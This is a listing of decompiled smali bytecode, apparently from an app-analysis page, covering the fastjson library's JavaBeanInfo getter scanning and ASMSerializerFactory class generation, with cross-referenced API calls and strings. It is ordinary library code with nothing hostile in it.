                                                1055invoke-static {v1}, Ljava/lang/reflect/Modifier;->isStatic(I)Z
                                                1056move-result v1
                                                1057if-eqz v1, :cond_628
                                                1058goto/16 :goto_615
                                                1059cond_628:
                                                1060const-string v1, "get"
                                                1062invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                1063move-result v1
                                                1064if-eqz v1, :cond_615
                                                1065const/4 v9, 0x3
                                                1067invoke-virtual {v0, v9}, Ljava/lang/String;->charAt(I)C
                                                1068move-result v1
                                                1070invoke-static {v1}, Ljava/lang/Character;->isUpperCase(C)Z
                                                1071move-result v1
                                                1072if-eqz v1, :cond_615
                                                1074invoke-virtual {v2}, Ljava/lang/reflect/Method;->getParameterTypes()[Ljava/lang/Class;
                                                1075move-result-object v1
                                                1076array-length v1, v1
                                                1077if-eqz v1, :cond_643
                                                1078goto/16 :goto_615
                                                1079cond_643: const-class v1, Ljava/util/Collection;
                                                1081invoke-virtual {v2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                1082move-result-object v3
                                                1084invoke-virtual {v1, v3}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                1085move-result v1
                                                1086if-nez v1, :cond_673
                                                1087const-class v1, Ljava/util/Map;
                                                1089invoke-virtual {v2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                1090move-result-object v3
                                                1092invoke-virtual {v1, v3}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                1093move-result v1
                                                1094if-nez v1, :cond_673
                                                1095const-class v1, Ljava/util/concurrent/atomic/AtomicBoolean;
                                                1097invoke-virtual {v2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                1098move-result-object v3
                                                1099if-eq v1, v3, :cond_673
                                                1100const-class v1, Ljava/util/concurrent/atomic/AtomicInteger;
                                                1102invoke-virtual {v2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                1103move-result-object v3
                                                1104if-eq v1, v3, :cond_673
                                                1105const-class v1, Ljava/util/concurrent/atomic/AtomicLong;
                                                1107invoke-virtual {v2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                1108move-result-object v3
                                                1109if-ne v1, v3, :cond_615
                                                1110cond_673: const-class v1, Lcom/alibaba/fastjson/annotation/JSONField;
                                                1112invoke-virtual {v2, v1}, Ljava/lang/reflect/Method;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                1113move-result-object v1
                                                1114move-object/from16 v17, v1
                                                1115check-cast v17, Lcom/alibaba/fastjson/annotation/JSONField;
                                                1116if-eqz v17, :cond_686
                                                1118invoke-interface/range {v17 .. v17}, Lcom/alibaba/fastjson/annotation/JSONField;->deserialize()Z
                                                1119move-result v1
                                                1120if-eqz v1, :cond_686
                                                1121goto/16 :goto_615
                                                1122cond_686: if-eqz v17, :cond_697
                                                1124invoke-interface/range {v17 .. v17}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                1125move-result-object v1
                                                1127invoke-virtual {v1}, Ljava/lang/String;->length()I
                                                1128move-result v1
                                                1129if-lez v1, :cond_697
                                                1131invoke-interface/range {v17 .. v17}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                1132move-result-object v0
                                                1133goto/16 :goto_6b2
                                                1134cond_697: new-instance v1, Ljava/lang/StringBuilder;
                                                1136invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                1138invoke-virtual {v0, v9}, Ljava/lang/String;->charAt(I)C
                                                1139move-result v3
                                                1141invoke-static {v3}, Ljava/lang/Character;->toLowerCase(C)C
                                                1142move-result v3
                                                1144invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                1146invoke-virtual {v0, v10}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                1147move-result-object v0
                                                1149invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1151invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1152move-result-object v0
                                                1153goto_6b2:
                                                1154invoke-static {v13, v0}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->getField(Ljava/util/List;Ljava/lang/String;)Lcom/alibaba/fastjson/util/FieldInfo;
                                                1155move-result-object v1
                                                1156if-eqz v1, :cond_6ba
                                                1157goto/16 :goto_615
                                                1158cond_6ba: if-eqz v15, :cond_6c0
                                                1160invoke-virtual {v15, v0}, Lcom/alibaba/fastjson/PropertyNamingStrategy;->translate(Ljava/lang/String;)Ljava/lang/String;
                                                1161move-result-object v0
                                                1162cond_6c0: move-object v1, v0
                                                1163new-instance v8, Lcom/alibaba/fastjson/util/FieldInfo;
                                                1164const/4 v3, 0x0
                                                1165const/4 v6, 0x0
                                                1166const/4 v7, 0x0
                                                1167const/16 v19, 0x0
                                                1168const/16 v20, 0x0
                                                1169const/16 v21, 0x0
                                                1170move-object v0, v8
                                                1171move-object/from16 v4, p0
                                                1172move-object/from16 v5, p1
                                                1173move-object/from16 v36, v8
                                                1174move/from16 v8, v19
                                                1175const/16 v19, 0x3
                                                1176move-object/from16 v9, v17
                                                1177const/16 v17, 0x4
                                                1178move-object/from16 v10, v20
                                                1179move/from16 v33, v11
                                                1180move-object/from16 v11, v21
                                                1182invoke-direct/range {v0 .. v11}, Lcom/alibaba/fastjson/util/FieldInfo;-><init>(Ljava/lang/String;Ljava/lang/reflect/Method;Ljava/lang/reflect/Field;Ljava/lang/Class;Ljava/lang/reflect/Type;IIILcom/alibaba/fastjson/annotation/JSONField;Lcom/alibaba/fastjson/annotation/JSONField;Ljava/lang/String;)V
                                                1183move-object/from16 v0, v36
                                                1185invoke-static {v13, v0}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->add(Ljava/util/List;Lcom/alibaba/fastjson/util/FieldInfo;)Z
                                                1186goto_6e9: add-int/lit8 v11, v33, 0x1
                                                1187goto/16 :goto_606
                                                1188cond_6ed: new-instance v9, Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                1189const/4 v4, 0x0
                                                1190const/4 v5, 0x0
                                                1191move-object v0, v9
                                                1192move-object/from16 v1, p0
                                                1193move-object/from16 v2, v23
                                                1194move-object/from16 v3, v16
                                                1195move-object/from16 v6, v18
                                                1196move-object/from16 v7, v24
                                                1197move-object v8, v13
                                                1199invoke-direct/range {v0 .. v8}, Lcom/alibaba/fastjson/util/JavaBeanInfo;-><init>(Ljava/lang/Class;Ljava/lang/Class;Ljava/lang/reflect/Constructor;Ljava/lang/reflect/Constructor;Ljava/lang/reflect/Method;Ljava/lang/reflect/Method;Lcom/alibaba/fastjson/annotation/JSONType;Ljava/util/List;)V
                                                1200return-object v9
                                                Cross References
                                                APIs
                                                • java.lang.Class.isPrimitive
                                                • java.lang.Class.getAnnotation
                                                • java.lang.reflect.Method.getDeclaringClass
                                                • java.lang.Class.isInterface
                                                • java.lang.reflect.Member.getName
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.util.concurrent.atomic.AtomicLong.incrementAndGet
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.Class.getSimpleName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.getPackage
                                                • java.lang.Package.getName
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.String.replace
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isPrimitive
                                                • java.lang.Class.isEnum
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isPrimitive
                                                • java.lang.Class.isEnum
                                                • java.lang.reflect.Method.getName
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.serializer.SerializerFeature.DisableCircularReferenceDetect:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.serializer.SerializerFeature.DisableCircularReferenceDetect:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.util.ASMClassLoader.defineClassPublic
                                                • java.lang.Class.getConstructor
                                                • java.lang.reflect.Constructor.newInstance
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.Class.getName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                Strings
                                                • ASMSerializer_
                                                • _
                                                • /
                                                • .
                                                • _asm_fieldType
                                                • Ljava/lang/reflect/Type;
                                                • _asm_list_item_ser_
                                                • _asm_ser_
                                                • (
                                                • )V
                                                • <init>
                                                • getMethodType
                                                • (Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/reflect/Type;
                                                • getFieldType
                                                • (I)Ljava/lang/reflect/Type;
                                                • java/io/IOException
                                                • ;Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V
                                                • (L
                                                • out
                                                • write
                                                • writeNormal
                                                • writeDirectNonContext
                                                • isSortField
                                                • ()Z
                                                • writeUnsorted
                                                • ;)Z
                                                • writeDirect
                                                • isEnabled
                                                • (I)Z
                                                • entity
                                                • writeAsArray
                                                • writeAsArrayNormal
                                                • writeAsArrayNonContext
                                                • unsupportd class
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Throws;
                                                1value = {
                                                2Ljava/lang/Exception;
                                                3}
                                                4.end annotation
                                                5move-object/from16 v0, p0
                                                6move-object/from16 v7, p1
                                                8iget-object v8, v7, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;->beanType:Ljava/lang/Class;
                                                10invoke-virtual {v8}, Ljava/lang/Class;->isPrimitive()Z
                                                11move-result v1
                                                12if-nez v1, :cond_5f2
                                                13const-class v1, Lcom/alibaba/fastjson/annotation/JSONType;
                                                15invoke-virtual {v8, v1}, Ljava/lang/Class;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                16move-result-object v1
                                                17move-object v9, v1
                                                18check-cast v9, Lcom/alibaba/fastjson/annotation/JSONType;
                                                20iget-object v10, v7, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;->fields:[Lcom/alibaba/fastjson/util/FieldInfo;
                                                21array-length v1, v10
                                                22const/4 v11, 0x0
                                                23const/4 v2, 0x0
                                                24goto_1a: if-ge v2, v1, :cond_3b
                                                25aget-object v3, v10, v2
                                                27iget-object v4, v3, Lcom/alibaba/fastjson/util/FieldInfo;->field:Ljava/lang/reflect/Field;
                                                28if-nez v4, :cond_38
                                                30iget-object v4, v3, Lcom/alibaba/fastjson/util/FieldInfo;->method:Ljava/lang/reflect/Method;
                                                31if-eqz v4, :cond_38
                                                33iget-object v3, v3, Lcom/alibaba/fastjson/util/FieldInfo;->method:Ljava/lang/reflect/Method;
                                                35invoke-virtual {v3}, Ljava/lang/reflect/Method;->getDeclaringClass()Ljava/lang/Class;
                                                36move-result-object v3
                                                38invoke-virtual {v3}, Ljava/lang/Class;->isInterface()Z
                                                39move-result v3
                                                40if-eqz v3, :cond_38
                                                41new-instance v1, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;
                                                43invoke-direct {v1, v8}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;-><init>(Ljava/lang/Class;)V
                                                44return-object v1
                                                45cond_38: add-int/lit8 v2, v2, 0x1
                                                46goto/16 :goto_1a
                                                47cond_3b:
                                                48iget-object v12, v7, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;->sortedFields:[Lcom/alibaba/fastjson/util/FieldInfo;
                                                50iget-object v1, v7, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;->sortedFields:[Lcom/alibaba/fastjson/util/FieldInfo;
                                                52iget-object v2, v7, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;->fields:[Lcom/alibaba/fastjson/util/FieldInfo;
                                                53const/4 v13, 0x1
                                                54if-ne v1, v2, :cond_46
                                                55const/4 v14, 0x1
                                                56goto/16 :goto_47
                                                57cond_46: const/4 v14, 0x0
                                                58goto_47: array-length v1, v12
                                                59const/16 v2, 0x100
                                                60if-le v1, v2, :cond_52
                                                61new-instance v1, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;
                                                63invoke-direct {v1, v8}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;-><init>(Ljava/lang/Class;)V
                                                64return-object v1
                                                65cond_52: array-length v1, v12
                                                66const/4 v2, 0x0
                                                67goto_54: if-ge v2, v1, :cond_6f
                                                68aget-object v3, v12, v2
                                                70invoke-virtual {v3}, Lcom/alibaba/fastjson/util/FieldInfo;->getMember()Ljava/lang/reflect/Member;
                                                71move-result-object v3
                                                73invoke-interface {v3}, Ljava/lang/reflect/Member;->getName()Ljava/lang/String;
                                                74move-result-object v3
                                                76invoke-static {v3}, Lcom/alibaba/fastjson/util/ASMUtils;->checkName(Ljava/lang/String;)Z
                                                77move-result v3
                                                78if-nez v3, :cond_6c
                                                79new-instance v1, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;
                                                81invoke-direct {v1, v8}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;-><init>(Ljava/lang/Class;)V
                                                82return-object v1
                                                83cond_6c: add-int/lit8 v2, v2, 0x1
                                                84goto/16 :goto_54
                                                85cond_6f: new-instance v1, Ljava/lang/StringBuilder;
                                                87invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                89const-string v2, "ASMSerializer_"
                                                91invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                93iget-object v2, v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->seed:Ljava/util/concurrent/atomic/AtomicLong;
                                                95invoke-virtual {v2}, Ljava/util/concurrent/atomic/AtomicLong;->incrementAndGet()J
                                                96move-result-wide v2
                                                98invoke-virtual {v1, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                                                100const-string v2, "_"
                                                102invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                104invoke-virtual {v8}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
                                                105move-result-object v2
                                                107invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                109invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                110move-result-object v1
                                                111const-class v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;
                                                113invoke-virtual {v2}, Ljava/lang/Class;->getPackage()Ljava/lang/Package;
                                                114move-result-object v2
                                                116invoke-virtual {v2}, Ljava/lang/Package;->getName()Ljava/lang/String;
                                                117move-result-object v2
                                                118new-instance v3, Ljava/lang/StringBuilder;
                                                120invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                121const/16 v4, 0x2e
                                                122const/16 v5, 0x2f
                                                124invoke-virtual {v2, v4, v5}, Ljava/lang/String;->replace(CC)Ljava/lang/String;
                                                125move-result-object v4
                                                127invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                129const-string v4, "/"
                                                131invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                133invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                135invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                136move-result-object v6
                                                137new-instance v3, Ljava/lang/StringBuilder;
                                                139invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                141invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                143const-string v2, "."
                                                145invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                147invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                149invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                150move-result-object v5
                                                151new-instance v4, Lcom/alibaba/fastjson/asm/ClassWriter;
                                                153invoke-direct {v4}, Lcom/alibaba/fastjson/asm/ClassWriter;-><init>()V
                                                154const/16 v16, 0x31
                                                155const/16 v17, 0x21
                                                157sget-object v19, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                158new-array v1, v13, [Ljava/lang/String;
                                                160sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->ObjectSerializer:Ljava/lang/String;
                                                161aput-object v2, v1, v11
                                                162move-object v15, v4
                                                163move-object/from16 v18, v6
                                                164move-object/from16 v20, v1
                                                166invoke-virtual/range {v15 .. v20}, Lcom/alibaba/fastjson/asm/ClassWriter;->visit(IILjava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
                                                167array-length v1, v12
                                                168const/4 v2, 0x0
                                                169goto_e7: if-ge v2, v1, :cond_173
                                                170aget-object v3, v12, v2
                                                172iget-object v15, v3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                174invoke-virtual {v15}, Ljava/lang/Class;->isPrimitive()Z
                                                175move-result v15
                                                176if-nez v15, :cond_169
                                                178iget-object v15, v3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                180invoke-virtual {v15}, Ljava/lang/Class;->isEnum()Z
                                                181move-result v15
                                                182if-nez v15, :cond_169
                                                184iget-object v15, v3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                185const-class v11, Ljava/lang/String;
                                                186if-ne v15, v11, :cond_102
                                                187goto/16 :goto_169
                                                188cond_102: new-instance v11, Lcom/alibaba/fastjson/asm/FieldWriter;
                                                189new-instance v15, Ljava/lang/StringBuilder;
                                                191invoke-direct {v15}, Ljava/lang/StringBuilder;-><init>()V
                                                193iget-object v13, v3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                195invoke-virtual {v15, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                197const-string v13, "_asm_fieldType"
                                                199invoke-virtual {v15, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                201invoke-virtual {v15}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                202move-result-object v13
                                                204const-string v15, "Ljava/lang/reflect/Type;"
                                                205move/from16 v16, v1
                                                206const/4 v1, 0x1
                                                208invoke-direct {v11, v4, v1, v13, v15}, Lcom/alibaba/fastjson/asm/FieldWriter;-><init>(Lcom/alibaba/fastjson/asm/ClassWriter;ILjava/lang/String;Ljava/lang/String;)V
                                                210invoke-virtual {v11}, Lcom/alibaba/fastjson/asm/FieldWriter;->visitEnd()V
                                                211const-class v1, Ljava/util/List;
                                                213iget-object v11, v3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                215invoke-virtual {v1, v11}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                216move-result v1
                                                217if-eqz v1, :cond_14a
                                                218new-instance v1, Lcom/alibaba/fastjson/asm/FieldWriter;
                                                219new-instance v11, Ljava/lang/StringBuilder;
                                                221invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
                                                223iget-object v13, v3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                225invoke-virtual {v11, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                227const-string v13, "_asm_list_item_ser_"
                                                229invoke-virtual {v11, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                231invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                232move-result-object v11
                                                234sget-object v13, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->ObjectSerializer_desc:Ljava/lang/String;
                                                235const/4 v15, 0x1
                                                237invoke-direct {v1, v4, v15, v11, v13}, Lcom/alibaba/fastjson/asm/FieldWriter;-><init>(Lcom/alibaba/fastjson/asm/ClassWriter;ILjava/lang/String;Ljava/lang/String;)V
                                                239invoke-virtual {v1}, Lcom/alibaba/fastjson/asm/FieldWriter;->visitEnd()V
                                                240cond_14a: new-instance v1, Lcom/alibaba/fastjson/asm/FieldWriter;
                                                241new-instance v11, Ljava/lang/StringBuilder;
                                                243invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
                                                245iget-object v3, v3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                247invoke-virtual {v11, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                249const-string v3, "_asm_ser_"
                                                251invoke-virtual {v11, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                253invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                254move-result-object v3
                                                256sget-object v11, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->ObjectSerializer_desc:Ljava/lang/String;
                                                257const/4 v13, 0x1
                                                259invoke-direct {v1, v4, v13, v3, v11}, Lcom/alibaba/fastjson/asm/FieldWriter;-><init>(Lcom/alibaba/fastjson/asm/ClassWriter;ILjava/lang/String;Ljava/lang/String;)V
                                                261invoke-virtual {v1}, Lcom/alibaba/fastjson/asm/FieldWriter;->visitEnd()V
                                                262goto/16 :goto_16b
                                                263goto_169: move/from16 v16, v1
                                                264goto_16b: add-int/lit8 v2, v2, 0x1
                                                265move/from16 v1, v16
                                                266const/4 v11, 0x0
                                                267const/4 v13, 0x1
                                                268goto/16 :goto_e7
                                                269cond_173: new-instance v1, Lcom/alibaba/fastjson/asm/MethodWriter;
                                                270const/16 v17, 0x1
                                                271new-instance v2, Ljava/lang/StringBuilder;
                                                273invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                275const-string v3, "("
                                                277invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                278const-class v3, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;
                                                280invoke-static {v3}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                281move-result-object v3
                                                283invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                285const-string v3, ")V"
                                                287invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                289invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                290move-result-object v19
                                                291const/16 v20, 0x0
                                                292const/16 v21, 0x0
                                                294const-string v18, "<init>"
                                                295move-object v15, v1
                                                296move-object/from16 v16, v4
                                                298invoke-direct/range {v15 .. v21}, Lcom/alibaba/fastjson/asm/MethodWriter;-><init>(Lcom/alibaba/fastjson/asm/ClassWriter;ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
                                                299const/16 v11, 0x19
                                                300const/4 v2, 0x0
                                                302invoke-interface {v1, v11, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                303const/4 v2, 0x1
                                                305invoke-interface {v1, v11, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                306const/16 v2, 0xb7
                                                308sget-object v3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                309new-instance v13, Ljava/lang/StringBuilder;
                                                311invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
                                                313const-string v15, "("
                                                315invoke-virtual {v13, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                316const-class v15, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;
                                                318invoke-static {v15}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                319move-result-object v15
                                                321invoke-virtual {v13, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                323const-string v15, ")V"
                                                325invoke-virtual {v13, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                327invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                328move-result-object v13
                                                330const-string v15, "<init>"
                                                332invoke-interface {v1, v2, v3, v15, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                333const/4 v2, 0x0
                                                334goto_1cf: array-length v3, v12
                                                335if-ge v2, v3, :cond_258
                                                336aget-object v3, v12, v2
                                                338iget-object v13, v3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                340invoke-virtual {v13}, Ljava/lang/Class;->isPrimitive()Z
                                                341move-result v13
                                                342if-nez v13, :cond_24e
                                                344iget-object v13, v3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                346invoke-virtual {v13}, Ljava/lang/Class;->isEnum()Z
                                                347move-result v13
                                                348if-nez v13, :cond_24e
                                                350iget-object v13, v3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                351const-class v15, Ljava/lang/String;
                                                352if-ne v13, v15, :cond_1eb
                                                353goto/16 :goto_24e
                                                354cond_1eb: const/4 v13, 0x0
                                                356invoke-interface {v1, v11, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                358iget-object v13, v3, Lcom/alibaba/fastjson/util/FieldInfo;->method:Ljava/lang/reflect/Method;
                                                359if-eqz v13, :cond_21b
                                                361iget-object v13, v3, Lcom/alibaba/fastjson/util/FieldInfo;->declaringClass:Ljava/lang/Class;
                                                363invoke-static {v13}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                364move-result-object v13
                                                366invoke-static {v13}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                367move-result-object v13
                                                369invoke-interface {v1, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                371iget-object v13, v3, Lcom/alibaba/fastjson/util/FieldInfo;->method:Ljava/lang/reflect/Method;
                                                373invoke-virtual {v13}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                374move-result-object v13
